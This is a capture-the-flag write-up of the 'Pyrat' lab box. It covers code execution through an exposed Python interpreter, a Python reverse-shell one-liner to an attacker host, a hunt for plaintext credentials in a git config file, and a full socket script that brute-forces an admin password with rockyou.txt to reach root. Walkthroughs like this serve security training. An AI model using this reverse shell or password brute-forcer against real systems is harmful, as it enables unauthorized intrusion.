Pyrat

This is the description of the box:
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
Nmap tells us two ports are open, 22 and 8000.
Let's start with 8000
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2Using curl gives us a response saying "Try a more basic connection".
I tried with
nc 10.10.12.87 8000and didn't think I got a respone. It just printed a new line but turns out I'm in a python interpreter. I try it out with:
import subprocess;print(subprocess.check_output("id", shell=True).decode())
uid=33(www-data) gid=33(www-data) groups=33(www-data)Let's see if I can get a reverse shell from this.
On attacker machine:
nc -lnvp 4444On victim:
import socket,subprocess,os;s=socket.socket();s.connect(("10.10.247.50",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])It works. That will help us move a bit more easily.
I got stuck here trying to figure out the clue "Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials."
After a bit of research I figured out it was probably git (and git config) related.
Searching for this:
find / -type f -name "config" -path "/.git/" 2>/dev/null
Returns:
/opt/dev/.git/config
And this file contains the following:
// Some code[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = [email protected]
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_We can SSH to the machine as think and get the user.txt file which contains the first flag.
Time to get the Root flag.
To see the commit history we run
git log --oneline --graph --all to find all the commits in the repository. The result is only one commit that looks very promising. We checkout that branch and see that it deleted a file.
think@ip-10-10-129-10:/opt/dev$ git checkout 0a3c3
D pyrat.py.old
Note: switching to '0a3c3'.
We checkout the commit right before the deletion instead and take a look at the source code.
think@ip-10-10-129-10:/opt/dev$ cat pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
I tried connecting from the attacker machine again to experiment with the input data. On the first try I put admin and I got prompted for a password. Let's try fuzzing the password here.
The following script will try to find the password using the rockyou.txt wordlist.
import socket
HOST = "10.10.129.10"
PORT = 8000
password_file = "/usr/share/wordlists/rockyou.txt"
with open(password_file, encoding="utf-8", errors="ignore") as f:
passwords = [line.strip() for line in f if line.strip()]
def recv_until(s, expected, timeout=2):
s.settimeout(timeout)
data = b""
try:
while expected.encode() not in data:
chunk = s.recv(1024)
if not chunk:
break
data += chunk
except socket.timeout:
pass
return data.decode(errors="ignore")
def try_passwords():
for pwd in passwords:
print(f"Trying password: {pwd}")
try:
s = socket.create_connection((HOST, PORT), timeout=5)
except Exception as e:
print(f"Connection error: {e}")
return
s.sendall(b"admin\n")
prompt = recv_until(s, "Password:")
print(f"Received prompt: {prompt.strip()}")
s.sendall(pwd.encode() + b"\n")
response = recv_until(s, "Password:", timeout=3)
print(f"Response after password: {response.strip()}")
if "Password:" not in response:
print(f"[+] Password found: {pwd}")
s.close()
return
print("Password rejected, closing connection and trying next password...")
s.close()
try_passwords()
We quickly find the password and can now connect as root.
root@ip-10-10-136-105:~# nc 10.10.129.10 8000
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
# whoami
whoami
root
Last updated